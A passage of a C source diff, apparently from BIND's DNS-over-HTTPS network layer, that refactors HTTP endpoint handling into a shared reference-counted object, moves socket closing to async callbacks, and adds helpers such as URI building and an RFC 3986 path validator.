+	isc_mem_t *mctx;
+	isc_nm_httphandler_t *handler = NULL;
+	isc_nm_httpcbarg_t *httpcbarg = NULL;
+
+	REQUIRE(epsp != NULL);
+	eps = *epsp;
+	REQUIRE(VALID_HTTP_ENDPOINTS(eps));
+
+	if (isc_refcount_decrement(&eps->references) > 1) {
+		*epsp = NULL;
+		return;
+	}
+
+	mctx = eps->mctx;
+
+	/* Delete all handlers */
+	handler = ISC_LIST_HEAD(eps->handlers);
+	while (handler != NULL) {
+		isc_nm_httphandler_t *next = NULL;
+
+		next = ISC_LIST_NEXT(handler, link);
+		ISC_LIST_DEQUEUE(eps->handlers, handler, link);
+		isc_mem_free(mctx, handler->path);
+		isc_mem_put(mctx, handler, sizeof(*handler));
+		handler = next;
+	}
+
+	httpcbarg = ISC_LIST_HEAD(eps->handler_cbargs);
+	while (httpcbarg != NULL) {
+		isc_nm_httpcbarg_t *next = NULL;
+
+		next = ISC_LIST_NEXT(httpcbarg, link);
+		ISC_LIST_DEQUEUE(eps->handler_cbargs, httpcbarg, link);
+		isc_mem_put(mctx, httpcbarg, sizeof(isc_nm_httpcbarg_t));
+		httpcbarg = next;
+	}
+
+	eps->magic = 0;
+
+	isc_mem_putanddetach(&mctx, eps, sizeof(*eps));
+	*epsp = NULL;
+}
+
+void
+isc_nm_http_endpoints_attach(isc_nm_http_endpoints_t *source,
+			     isc_nm_http_endpoints_t **targetp) {
+	REQUIRE(VALID_HTTP_ENDPOINTS(source));
+	REQUIRE(targetp != NULL && *targetp == NULL);
+
+	isc_refcount_increment(&source->references);
+
+	*targetp = source;
+}
+
+static isc_nm_httphandler_t *
+http_endpoints_find(const char *request_path,
+		    const isc_nm_http_endpoints_t *restrict eps) {
+	isc_nm_httphandler_t *handler = NULL;
+
+	REQUIRE(VALID_HTTP_ENDPOINTS(eps));
+
+	if (request_path == NULL || *request_path == '\0') {
+		return (NULL);
+	}
+
+	for (handler = ISC_LIST_HEAD(eps->handlers); handler != NULL;
+	     handler = ISC_LIST_NEXT(handler, link))
+	{
+		if (!strcmp(request_path, handler->path)) {
+			break;
+		}
+	}
+
+	return (handler);
+}
+
 /*
  * In DoH we just need to intercept the request - the response can be sent
  * to the client code via the nmhandle directly as it's always just the
@@ -2400,40 +2620,39 @@ http_callback(isc_nmhandle_t *handle, isc_result_t result, isc_region_t *data,
 }
 
 isc_result_t
-isc_nm_http_endpoint(isc_nmsocket_t *sock, const char *uri, isc_nm_recv_cb_t cb,
-		     void *cbarg, size_t extrahandlesize) {
-	isc_nm_httphandler_t *handler = NULL;
-	isc_nm_httpcbarg_t *httpcbarg = NULL;
+isc_nm_http_endpoints_add(isc_nm_http_endpoints_t *restrict eps,
+			  const char *uri, const isc_nm_recv_cb_t cb,
+			  void *cbarg) {
+	isc_mem_t *mctx;
+	isc_nm_httphandler_t *restrict handler = NULL;
+	isc_nm_httpcbarg_t *restrict httpcbarg = NULL;
 	bool newhandler = false;
 
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_httplistener);
-	REQUIRE(uri != NULL && *uri != '\0');
+	REQUIRE(VALID_HTTP_ENDPOINTS(eps));
+	REQUIRE(isc_nm_http_path_isvalid(uri));
+	REQUIRE(atomic_load(&eps->in_use) == false);
+
+	mctx = eps->mctx;
 
-	httpcbarg = isc_mem_get(sock->mgr->mctx, sizeof(isc_nm_httpcbarg_t));
+	httpcbarg = isc_mem_get(mctx, sizeof(isc_nm_httpcbarg_t));
 	*httpcbarg = (isc_nm_httpcbarg_t){ .cb = cb, .cbarg = cbarg };
 	ISC_LINK_INIT(httpcbarg, link);
 
-	if (find_server_request_handler(uri, sock) == NULL) {
-		handler = isc_mem_get(sock->mgr->mctx, sizeof(*handler));
-		*handler = (isc_nm_httphandler_t){
-			.cb = http_callback,
-			.cbarg = httpcbarg,
-			.extrahandlesize = extrahandlesize,
-			.path = isc_mem_strdup(sock->mgr->mctx, uri)
-		};
+	if (http_endpoints_find(uri, eps) == NULL) {
+		handler = isc_mem_get(mctx, sizeof(*handler));
+		*handler = (isc_nm_httphandler_t){ .cb = http_callback,
+						   .cbarg = httpcbarg,
+						   .path = isc_mem_strdup(
+							   mctx, uri) };
 		ISC_LINK_INIT(handler, link);
 
 		newhandler = true;
 	}
 
-	RWLOCK(&sock->h2.lock, isc_rwlocktype_write);
 	if (newhandler) {
-		ISC_LIST_APPEND(sock->h2.handlers, handler, link);
+		ISC_LIST_APPEND(eps->handlers, handler, link);
 	}
-	ISC_LIST_APPEND(sock->h2.handler_cbargs, httpcbarg, link);
-	RWUNLOCK(&sock->h2.lock, isc_rwlocktype_write);
-
+	ISC_LIST_APPEND(eps->handler_cbargs, httpcbarg, link);
 	return (ISC_R_SUCCESS);
 }
 
@@ -2441,72 +2660,9 @@ void
 isc__nm_http_stoplistening(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(sock->type == isc_nm_httplistener);
+	REQUIRE(isc_tid() == sock->tid);
 
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	if (!isc__nm_in_netthread()) {
-		isc__netievent_httpstop_t *ievent =
-			isc__nm_get_netievent_httpstop(sock->mgr, sock);
-		isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
-	} else {
-		REQUIRE(isc_nm_tid() == sock->tid);
-		isc__netievent_httpstop_t ievent = { .sock = sock };
-		isc__nm_async_httpstop(NULL, (isc__netievent_t *)&ievent);
-	}
-}
-
-static void
-clear_handlers(isc_nmsocket_t *sock) {
-	isc_nm_httphandler_t *handler = NULL;
-	isc_nm_httpcbarg_t *httpcbarg = NULL;
-
-	/* Delete all handlers */
-	RWLOCK(&sock->h2.lock, isc_rwlocktype_write);
-	handler = ISC_LIST_HEAD(sock->h2.handlers);
-	while (handler != NULL) {
-		isc_nm_httphandler_t *next = NULL;
-
-		next = ISC_LIST_NEXT(handler, link);
-		ISC_LIST_DEQUEUE(sock->h2.handlers, handler, link);
-		isc_mem_free(sock->mgr->mctx, handler->path);
-		isc_mem_put(sock->mgr->mctx, handler, sizeof(*handler));
-		handler = next;
-	}
-
-	httpcbarg = ISC_LIST_HEAD(sock->h2.handler_cbargs);
-	while (httpcbarg != NULL) {
-		isc_nm_httpcbarg_t *next = NULL;
-
-		next = ISC_LIST_NEXT(httpcbarg, link);
-		ISC_LIST_DEQUEUE(sock->h2.handler_cbargs, httpcbarg, link);
-		isc_mem_put(sock->mgr->mctx, httpcbarg,
-			    sizeof(isc_nm_httpcbarg_t));
-		httpcbarg = next;
-	}
-	RWUNLOCK(&sock->h2.lock, isc_rwlocktype_write);
-}
-
-void
-isc__nm_async_httpstop(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_httpstop_t *ievent = (isc__netievent_httpstop_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-
-	atomic_store(&sock->listening, false);
-	atomic_store(&sock->closing, false);
-	atomic_store(&sock->closed, true);
-	if (sock->outer != NULL) {
-		isc_nm_stoplistening(sock->outer);
-		isc_nmsocket_close(&sock->outer);
-	}
+	isc__nmsocket_stop(sock);
 }
 
 static void
@@ -2515,33 +2671,47 @@ http_close_direct(isc_nmsocket_t *sock) {
 
 	REQUIRE(VALID_NMSOCK(sock));
 
-	atomic_store(&sock->closed, true);
-	atomic_store(&sock->active, false);
+	sock->closed = true;
+	sock->active = false;
 	session = sock->h2.session;
 
-	if (session != NULL && session->handle) {
+	if (session != NULL && session->sending == 0 && !session->reading) {
+		/*
+		 * The socket is going to be closed too early without been
+		 * used even once (might happen in a case of low level
+		 * error).
+		 */
+		finish_http_session(session);
+	} else if (session != NULL && session->handle) {
 		http_do_bio(session, NULL, NULL, NULL);
 	}
 }
 
+static void
+http_close_cb(void *arg) {
+	isc_nmsocket_t *sock = arg;
+	REQUIRE(VALID_NMSOCK(sock));
+
+	http_close_direct(sock);
+	isc__nmsocket_detach(&sock);
+}
+
 void
 isc__nm_http_close(isc_nmsocket_t *sock) {
 	bool destroy = false;
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(sock->type == isc_nm_httpsocket);
 	REQUIRE(!isc__nmsocket_active(sock));
+	REQUIRE(!sock->closing);
 
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		return;
-	}
+	sock->closing = true;
 
 	if (sock->h2.session != NULL && sock->h2.session->closed &&
-	    sock->tid == isc_nm_tid())
+	    sock->tid == isc_tid())
 	{
 		isc__nm_httpsession_detach(&sock->h2.session);
 		destroy = true;
-	} else if (sock->h2.session == NULL && sock->tid == isc_nm_tid()) {
+	} else if (sock->h2.session == NULL && sock->tid == isc_tid()) {
 		destroy = true;
 	}
 
@@ -2551,32 +2721,14 @@ isc__nm_http_close(isc_nmsocket_t *sock) {
 		return;
 	}
 
-	isc__netievent_httpclose_t *ievent =
-		isc__nm_get_netievent_httpclose(sock->mgr, sock);
-
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-}
-
-void
-isc__nm_async_httpclose(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_httpclose_t *ievent = (isc__netievent_httpclose_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	UNUSED(worker);
-
-	http_close_direct(sock);
+	isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
+	isc_async_run(sock->worker->loop, http_close_cb, sock);
 }
 
 static void
 failed_httpstream_read_cb(isc_nmsocket_t *sock, isc_result_t result,
 			  isc_nm_http_session_t *session) {
-	isc_nmhandle_t *handle = NULL;
-	isc_sockaddr_t addr;
-
+	isc_region_t data;
 	REQUIRE(VALID_NMSOCK(sock));
 	INSIST(sock->type == isc_nm_httpsocket);
 
@@ -2589,12 +2741,8 @@ failed_httpstream_read_cb(isc_nmsocket_t *sock, isc_result_t result,
 	(void)nghttp2_submit_rst_stream(
 		session->ngsession, NGHTTP2_FLAG_END_STREAM, sock->h2.stream_id,
 		NGHTTP2_REFUSED_STREAM);
-	addr = isc_nmhandle_peeraddr(session->handle);
-	handle = isc__nmhandle_get(sock, &addr, NULL);
-	sock->h2.cb(handle, result,
-		    &(isc_region_t){ sock->h2.buf, sock->h2.bufsize },
-		    sock->h2.cbarg);
-	isc_nmhandle_detach(&handle);
+	isc_buffer_usedregion(&sock->h2.rbuf, &data);
+	server_call_cb(sock, session, result, &data);
 }
 
 static void
@@ -2608,12 +2756,21 @@ client_call_failed_read_cb(isc_result_t result,
 	cstream = ISC_LIST_HEAD(session->cstreams);
 	while (cstream != NULL) {
 		http_cstream_t *next = ISC_LIST_NEXT(cstream, link);
-		cstream->read_cb(
-			session->client_httphandle, result,
-			&(isc_region_t){ cstream->rbuf, cstream->rbufsize },
-			cstream->read_cbarg);
 
-		if (result != ISC_R_TIMEDOUT ||
+		/*
+		 * read_cb could be NULL if cstream was allocated and added
+		 * to the tracking list, but was not properly initialized due
+		 * to a low-level error. It is safe to get rid of the object
+		 * in such a case.
+		 */
+		if (cstream->read_cb != NULL) {
+			isc_region_t read_data;
+			isc_buffer_usedregion(cstream->rbuf, &read_data);
+			cstream->read_cb(session->client_httphandle, result,
+					 &read_data, cstream->read_cbarg);
+		}
+
+		if (result != ISC_R_TIMEDOUT || cstream->read_cb == NULL ||
 		    !isc__nmsocket_timer_running(session->handle->sock))
 		{
 			ISC_LIST_DEQUEUE(session->cstreams, cstream, link);
@@ -2643,8 +2800,8 @@ server_call_failed_read_cb(isc_result_t result,
 		isc_nmsocket_h2_t *next = ISC_LIST_NEXT(h2data, link);
 		ISC_LIST_DEQUEUE(session->sstreams, h2data, link);
 		/* Cleanup socket in place */
-		atomic_store(&h2data->psock->active, false);
-		atomic_store(&h2data->psock->closed, true);
+		h2data->psock->active = false;
+		h2data->psock->closed = true;
 		isc__nmsocket_detach(&h2data->psock);
 
 		h2data = next;
@@ -2672,6 +2829,198 @@ failed_read_cb(isc_result_t result, isc_nm_http_session_t *session) {
 	}
 }
 
+void
+isc__nm_http_set_maxage(isc_nmhandle_t *handle, const uint32_t ttl) {
+	isc_nm_http_session_t *session;
+	isc_nmsocket_t *sock;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	sock = handle->sock;
+	session = sock->h2.session;
+
+	INSIST(VALID_HTTP2_SESSION(session));
+	INSIST(!session->client);
+
+	sock->h2.min_ttl = ttl;
+}
+
+bool
+isc__nm_http_has_encryption(const isc_nmhandle_t *handle) {
+	isc_nm_http_session_t *session;
+	isc_nmsocket_t *sock;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	sock = handle->sock;
+	session = sock->h2.session;
+
+	INSIST(VALID_HTTP2_SESSION(session));
+
+	return (isc_nm_socket_type(session->handle) == isc_nm_tlssocket);
+}
+
+const char *
+isc__nm_http_verify_tls_peer_result_string(const isc_nmhandle_t *handle) {
+	isc_nmsocket_t *sock = NULL;
+	isc_nm_http_session_t *session;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_httpsocket);
+
+	sock = handle->sock;
+	session = sock->h2.session;
+
+	/*
+	 * In the case of a low-level error the session->handle is not
+	 * attached nor session object is created.
+	 */
+	if (session == NULL && sock->h2.connect.tls_peer_verify_string != NULL)
+	{
+		return (sock->h2.connect.tls_peer_verify_string);
+	}
+
+	if (session == NULL) {
+		return (NULL);
+	}
+
+	INSIST(VALID_HTTP2_SESSION(session));
+
+	return (isc_nm_verify_tls_peer_result_string(session->handle));
+}
+
+void
+isc__nm_http_set_tlsctx(isc_nmsocket_t *listener, isc_tlsctx_t *tlsctx) {
+	REQUIRE(VALID_NMSOCK(listener));
+	REQUIRE(listener->type == isc_nm_httplistener);
+
+	isc_nmsocket_set_tlsctx(listener->outer, tlsctx);
+}
+
+void
+isc__nm_http_set_max_streams(isc_nmsocket_t *listener,
+			     const uint32_t max_concurrent_streams) {
+	uint32_t max_streams = NGHTTP2_INITIAL_MAX_CONCURRENT_STREAMS;
+
+	REQUIRE(VALID_NMSOCK(listener));
+	REQUIRE(listener->type == isc_nm_httplistener);
+
+	if (max_concurrent_streams > 0 &&
+	    max_concurrent_streams < NGHTTP2_INITIAL_MAX_CONCURRENT_STREAMS)
+	{
+		max_streams = max_concurrent_streams;
+	}
+
+	atomic_store_relaxed(&listener->h2.max_concurrent_streams, max_streams);
+}
+
+typedef struct http_endpoints_data {
+	isc_nmsocket_t *listener;
+	isc_nm_http_endpoints_t *endpoints;
+} http_endpoints_data_t;
+
+static void
+http_set_endpoints_cb(void *arg) {
+	http_endpoints_data_t *data = arg;
+	const int tid = isc_tid();
+	isc_nmsocket_t *listener = data->listener;
+	isc_nm_http_endpoints_t *endpoints = data->endpoints;
+	isc__networker_t *worker = &listener->worker->netmgr->workers[tid];
+
+	isc_mem_put(worker->loop->mctx, data, sizeof(*data));
+
+	isc_nm_http_endpoints_detach(&listener->h2.listener_endpoints[tid]);
+	isc_nm_http_endpoints_attach(endpoints,
+				     &listener->h2.listener_endpoints[tid]);
+
+	isc_nm_http_endpoints_detach(&endpoints);
+	isc__nmsocket_detach(&listener);
+}
+
+void
+isc_nm_http_set_endpoints(isc_nmsocket_t *listener,
+			  isc_nm_http_endpoints_t *eps) {
+	isc_loopmgr_t *loopmgr = NULL;
+
+	REQUIRE(VALID_NMSOCK(listener));
+	REQUIRE(listener->type == isc_nm_httplistener);
+	REQUIRE(VALID_HTTP_ENDPOINTS(eps));
+
+	loopmgr = listener->worker->netmgr->loopmgr;
+
+	atomic_store(&eps->in_use, true);
+
+	for (size_t i = 0; i < isc_loopmgr_nloops(loopmgr); i++) {
+		isc__networker_t *worker =
+			&listener->worker->netmgr->workers[i];
+		http_endpoints_data_t *data = isc_mem_cget(worker->loop->mctx,
+							   1, sizeof(*data));
+
+		isc__nmsocket_attach(listener, &data->listener);
+		isc_nm_http_endpoints_attach(eps, &data->endpoints);
+
+		isc_async_run(worker->loop, http_set_endpoints_cb, data);
+	}
+}
+
+static void
+http_init_listener_endpoints(isc_nmsocket_t *listener,
+			     isc_nm_http_endpoints_t *epset) {
+	size_t nworkers;
+	isc_loopmgr_t *loopmgr = NULL;
+
+	REQUIRE(VALID_NMSOCK(listener));
+	REQUIRE(listener->worker != NULL && VALID_NM(listener->worker->netmgr));
+	REQUIRE(VALID_HTTP_ENDPOINTS(epset));
+
+	loopmgr = listener->worker->netmgr->loopmgr;
+	nworkers = (size_t)isc_loopmgr_nloops(loopmgr);
+	INSIST(nworkers > 0);
+
+	listener->h2.listener_endpoints =
+		isc_mem_cget(listener->worker->mctx, nworkers,
+			     sizeof(isc_nm_http_endpoints_t *));
+	listener->h2.n_listener_endpoints = nworkers;
+	for (size_t i = 0; i < nworkers; i++) {
+		listener->h2.listener_endpoints[i] = NULL;
+		isc_nm_http_endpoints_attach(
+			epset, &listener->h2.listener_endpoints[i]);
+	}
+}
+
+static void
+http_cleanup_listener_endpoints(isc_nmsocket_t *listener) {
+	REQUIRE(listener->worker != NULL && VALID_NM(listener->worker->netmgr));
+
+	if (listener->h2.listener_endpoints == NULL) {
+		return;
+	}
+
+	for (size_t i = 0; i < listener->h2.n_listener_endpoints; i++) {
+		isc_nm_http_endpoints_detach(
+			&listener->h2.listener_endpoints[i]);
+	}
+	isc_mem_cput(listener->worker->mctx, listener->h2.listener_endpoints,
+		     listener->h2.n_listener_endpoints,
+		     sizeof(isc_nm_http_endpoints_t *));
+	listener->h2.n_listener_endpoints = 0;
+}
+
+static isc_nm_http_endpoints_t *
+http_get_listener_endpoints(isc_nmsocket_t *listener, const int tid) {
+	isc_nm_http_endpoints_t *eps;
+	REQUIRE(VALID_NMSOCK(listener));
+	REQUIRE(tid >= 0);
+	REQUIRE((size_t)tid < listener->h2.n_listener_endpoints);
+
+	eps = listener->h2.listener_endpoints[tid];
+	INSIST(eps != NULL);
+	return (eps);
+}
+
 static const bool base64url_validation_table[256] = {
 	false, false, false, false, false, false, false, false, false, false,
 	false, false, false, false, false, false, false, false, false, false,
@@ -2776,9 +3125,12 @@ isc__nm_base64_to_base64url(isc_mem_t *mem, const char *base64,
 			break;
 		default:
 			/*
-			 * All other characters from the alphabet are the same
-			 * for both base64 and base64url, so we can reuse the
-			 * validation table for the rest of the characters.
+			 * All other characters from
+			 * the alphabet are the same
+			 * for both base64 and
+			 * base64url, so we can reuse
+			 * the validation table for
+			 * the rest of the characters.
 			 */
 			if (base64[i] != '-' && base64[i] != '_' &&
 			    base64url_validation_table[(size_t)base64[i]])
@@ -2809,49 +3161,36 @@ isc__nm_http_initsocket(isc_nmsocket_t *sock) {
 		.request_type = ISC_HTTP_REQ_UNSUPPORTED,
 		.request_scheme = ISC_HTTP_SCHEME_UNSUPPORTED,
 	};
-
-	if (sock->type == isc_nm_httplistener) {
-		ISC_LIST_INIT(sock->h2.handlers);
-		ISC_LIST_INIT(sock->h2.handler_cbargs);
-		isc_rwlock_init(&sock->h2.lock, 0, 1);
-	}
 }
 
 void
 isc__nm_http_cleanup_data(isc_nmsocket_t *sock) {
-	if ((sock->type == isc_nm_tcplistener ||
-	     sock->type == isc_nm_tlslistener) &&
-	    sock->h2.httpserver != NULL)
-	{
-		isc__nmsocket_detach(&sock->h2.httpserver);
-	}
-
 	if (sock->type == isc_nm_httplistener ||
-	    sock->type == isc_nm_httpsocket) {
-		if (sock->type == isc_nm_httplistener) {
-			clear_handlers(sock);
-			isc_rwlock_destroy(&sock->h2.lock);
+	    sock->type == isc_nm_httpsocket)
+	{
+		if (sock->type == isc_nm_httplistener &&
+		    sock->h2.listener_endpoints != NULL)
+		{
+			/* Delete all handlers */
+			http_cleanup_listener_endpoints(sock);
 		}
 
 		if (sock->h2.request_path != NULL) {
-			isc_mem_free(sock->mgr->mctx, sock->h2.request_path);
+			isc_mem_free(sock->worker->mctx, sock->h2.request_path);
 			sock->h2.request_path = NULL;
 		}
 
 		if (sock->h2.query_data != NULL) {
-			isc_mem_free(sock->mgr->mctx, sock->h2.query_data);
+			isc_mem_free(sock->worker->mctx, sock->h2.query_data);
 			sock->h2.query_data = NULL;
 		}
 
-		if (sock->h2.connect.cstream != NULL) {
-			put_http_cstream(sock->mgr->mctx,
-					 sock->h2.connect.cstream);
-			sock->h2.connect.cstream = NULL;
-		}
+		INSIST(sock->h2.connect.cstream == NULL);
 
-		if (sock->h2.buf != NULL) {
-			isc_mem_free(sock->mgr->mctx, sock->h2.buf);
-			sock->h2.buf = NULL;
+		if (isc_buffer_base(&sock->h2.rbuf) != NULL) {
+			void *base = isc_buffer_base(&sock->h2.rbuf);
+			isc_mem_free(sock->worker->mctx, base);
+			isc_buffer_initnull(&sock->h2.rbuf);
 		}
 	}
 
@@ -2862,7 +3201,7 @@ isc__nm_http_cleanup_data(isc_nmsocket_t *sock) {
 	    sock->h2.session != NULL)
 	{
 		if (sock->h2.connect.uri != NULL) {
-			isc_mem_free(sock->mgr->mctx, sock->h2.connect.uri);
+			isc_mem_free(sock->worker->mctx, sock->h2.connect.uri);
 			sock->h2.connect.uri = NULL;
 		}
 		isc__nm_httpsession_detach(&sock->h2.session);
@@ -2878,7 +3217,7 @@ isc__nm_http_cleartimeout(isc_nmhandle_t *handle) {
 	REQUIRE(handle->sock->type == isc_nm_httpsocket);
 
 	sock = handle->sock;
-	if (sock->h2.session != NULL && sock->h2.session->handle) {
+	if (sock->h2.session != NULL && sock->h2.session->handle != NULL) {
 		INSIST(VALID_HTTP2_SESSION(sock->h2.session));
 		INSIST(VALID_NMHANDLE(sock->h2.session->handle));
 		isc_nmhandle_cleartimeout(sock->h2.session->handle);
@@ -2894,13 +3233,91 @@ isc__nm_http_settimeout(isc_nmhandle_t *handle, uint32_t timeout) {
 	REQUIRE(handle->sock->type == isc_nm_httpsocket);
 
 	sock = handle->sock;
-	if (sock->h2.session != NULL && sock->h2.session->handle) {
+	if (sock->h2.session != NULL && sock->h2.session->handle != NULL) {
 		INSIST(VALID_HTTP2_SESSION(sock->h2.session));
 		INSIST(VALID_NMHANDLE(sock->h2.session->handle));
 		isc_nmhandle_settimeout(sock->h2.session->handle, timeout);
 	}
 }
 
+void
+isc__nmhandle_http_keepalive(isc_nmhandle_t *handle, bool value) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_httpsocket);
+
+	sock = handle->sock;
+	if (sock->h2.session != NULL && sock->h2.session->handle) {
+		INSIST(VALID_HTTP2_SESSION(sock->h2.session));
+		INSIST(VALID_NMHANDLE(sock->h2.session->handle));
+
+		isc_nmhandle_keepalive(sock->h2.session->handle, value);
+	}
+}
+
+void
+isc_nm_http_makeuri(const bool https, const isc_sockaddr_t *sa,
+		    const char *hostname, const uint16_t http_port,
+		    const char *abs_path, char *outbuf,
+		    const size_t outbuf_len) {
+	char saddr[INET6_ADDRSTRLEN] = { 0 };
+	int family;
+	bool ipv6_addr = false;
+	struct sockaddr_in6 sa6;
+	uint16_t host_port = http_port;
+	const char *host = NULL;
+
+	REQUIRE(outbuf != NULL);
+	REQUIRE(outbuf_len != 0);
+	REQUIRE(isc_nm_http_path_isvalid(abs_path));
+
+	/* If hostname is specified, use that. */
+	if (hostname != NULL && hostname[0] != '\0') {
+		/*
+		 * The host name could be an IPv6 address. If so,
+		 * wrap it between [ and ].
+		 */
+		if (inet_pton(AF_INET6, hostname, &sa6) == 1 &&
+		    hostname[0] != '[')
+		{
+			ipv6_addr = true;
+		}
+		host = hostname;
+	} else {
+		/*
+		 * A hostname was not specified; build one from
+		 * the given IP address.
+		 */
+		INSIST(sa != NULL);
+		family = ((const struct sockaddr *)&sa->type.sa)->sa_family;
+		host_port = ntohs(family == AF_INET ? sa->type.sin.sin_port
+						    : sa->type.sin6.sin6_port);
+		ipv6_addr = family == AF_INET6;
+		(void)inet_ntop(
+			family,
+			family == AF_INET
+				? (const struct sockaddr *)&sa->type.sin.sin_addr
+				: (const struct sockaddr *)&sa->type.sin6
+					  .sin6_addr,
+			saddr, sizeof(saddr));
+		host = saddr;
+	}
+
+	/*
+	 * If the port number was not specified, the default
+	 * depends on whether we're using encryption or not.
+	 */
+	if (host_port == 0) {
+		host_port = https ? 443 : 80;
+	}
+
+	(void)snprintf(outbuf, outbuf_len, "%s://%s%s%s:%u%s",
+		       https ? "https" : "http", ipv6_addr ? "[" : "", host,
+		       ipv6_addr ? "]" : "", host_port, abs_path);
+}
+
 /*
  * DoH GET Query String Scanner-less Recursive Descent Parser/Verifier
  *
@@ -2934,6 +3351,7 @@ typedef struct isc_httpparser_state {
 
 #define MATCH(ch)      (st->str[0] == (ch))
 #define MATCH_ALPHA()  isalpha((unsigned char)(st->str[0]))
+#define MATCH_DIGIT()  isdigit((unsigned char)(st->str[0]))
 #define MATCH_ALNUM()  isalnum((unsigned char)(st->str[0]))
 #define MATCH_XDIGIT() isxdigit((unsigned char)(st->str[0]))
 #define ADVANCE()      st->str++
@@ -3081,7 +3499,8 @@ rule_value_char(isc_httpparser_state_t *st) {
 static bool
 rule_unreserved_char(isc_httpparser_state_t *st) {
 	if (MATCH_ALNUM() || MATCH('_') || MATCH('.') || MATCH('-') ||
-	    MATCH('~')) {
+	    MATCH('~'))
+	{
 		ADVANCE();
 		return (true);
 	}
@@ -3108,3 +3527,194 @@ rule_percent_charcode(isc_httpparser_state_t *st) {
 
 	return (true);
 }
+
+/*
+ * DoH URL Location Verifier. Based on the following grammar (EBNF/WSN
+ * notation):
+ *
+ * S             = path_absolute.
+ * path_absolute = '/' [ segments ] '\0'.
+ * segments      = segment_nz { slash_segment }.
+ * slash_segment = '/' segment.
+ * segment       = { pchar }.
+ * segment_nz    = pchar { pchar }.
+ * pchar         = unreserved | pct_encoded | sub_delims | ':' | '@'.
+ * unreserved    = ALPHA | DIGIT | '-' | '.' | '_' | '~'.
+ * pct_encoded   = '%' XDIGIT XDIGIT.
+ * sub_delims    = '!' | '$' | '&' | '\'' | '(' | ')' | '*' | '+' |
+ *                 ',' | ';' | '='.
+ *
+ * The grammar is extracted from RFC 3986. It is slightly modified to
+ * aid in parser creation, but the end result is the same
+ * (path_absolute is defined slightly differently - split into
+ * multiple productions).
+ *
+ * https://datatracker.ietf.org/doc/html/rfc3986#appendix-A
+ */
+
+typedef struct isc_http_location_parser_state {
+	const char *str;
+} isc_http_location_parser_state_t;
+
+static bool
+rule_loc_path_absolute(isc_http_location_parser_state_t *);
+
+static bool
+rule_loc_segments(isc_http_location_parser_state_t *);
+
+static bool
+rule_loc_slash_segment(isc_http_location_parser_state_t *);
+
+static bool
+rule_loc_segment(isc_http_location_parser_state_t *);
+
+static bool
+rule_loc_segment_nz(isc_http_location_parser_state_t *);
+
+static bool
+rule_loc_pchar(isc_http_location_parser_state_t *);
+
+static bool
+rule_loc_unreserved(isc_http_location_parser_state_t *);
+
+static bool
+rule_loc_pct_encoded(isc_http_location_parser_state_t *);
+
+static bool
+rule_loc_sub_delims(isc_http_location_parser_state_t *);
+
+static bool
+rule_loc_path_absolute(isc_http_location_parser_state_t *st) {
+	if (MATCH('/')) {
+		ADVANCE();
+	} else {
+		return (false);
+	}
+
+	(void)rule_loc_segments(st);
+
+	if (MATCH('\0')) {
+		ADVANCE();
+	} else {
+		return (false);
+	}
+
+	return (true);
+}
+
+static bool
+rule_loc_segments(isc_http_location_parser_state_t *st) {
+	if (!rule_loc_segment_nz(st)) {
+		return (false);
+	}
+
+	while (rule_loc_slash_segment(st)) {
+		/* zero or more */;
+	}
+
+	return (true);
+}
+
+static bool
+rule_loc_slash_segment(isc_http_location_parser_state_t *st) {
+	if (MATCH('/')) {
+		ADVANCE();
+	} else {
+		return (false);
+	}
+
+	return (rule_loc_segment(st));
+}
+
+static bool
+rule_loc_segment(isc_http_location_parser_state_t *st) {
+	while (rule_loc_pchar(st)) {
+		/* zero or more */;
+	}
+
+	return (true);
+}
+
+static bool
+rule_loc_segment_nz(isc_http_location_parser_state_t *st) {
+	if (!rule_loc_pchar(st)) {
+		return (false);
+	}
+
+	while (rule_loc_pchar(st)) {
+		/* zero or more */;
+	}
+
+	return (true);
+}
+
+static bool
+rule_loc_pchar(isc_http_location_parser_state_t *st) {
+	if (rule_loc_unreserved(st)) {
+		return (true);
+	} else if (rule_loc_pct_encoded(st)) {
+		return (true);
+	} else if (rule_loc_sub_delims(st)) {
+		return (true);
+	} else if (MATCH(':') || MATCH('@')) {
+		ADVANCE();
+		return (true);
+	}
+
+	return (false);
+}
+
+static bool
+rule_loc_unreserved(isc_http_location_parser_state_t *st) {
+	if (MATCH_ALPHA() | MATCH_DIGIT() | MATCH('-') | MATCH('.') |
+	    MATCH('_') | MATCH('~'))
+	{
+		ADVANCE();
+		return (true);
+	}
+	return (false);
+}
+
+static bool
+rule_loc_pct_encoded(isc_http_location_parser_state_t *st) {
+	if (!MATCH('%')) {
+		return (false);
+	}
+	ADVANCE();
+
+	if (!MATCH_XDIGIT()) {
+		return (false);
+	}
+	ADVANCE();
+
+	if (!MATCH_XDIGIT()) {
+		return (false);
+	}
+	ADVANCE();
+
+	return (true);
+}
+
+static bool
+rule_loc_sub_delims(isc_http_location_parser_state_t *st) {
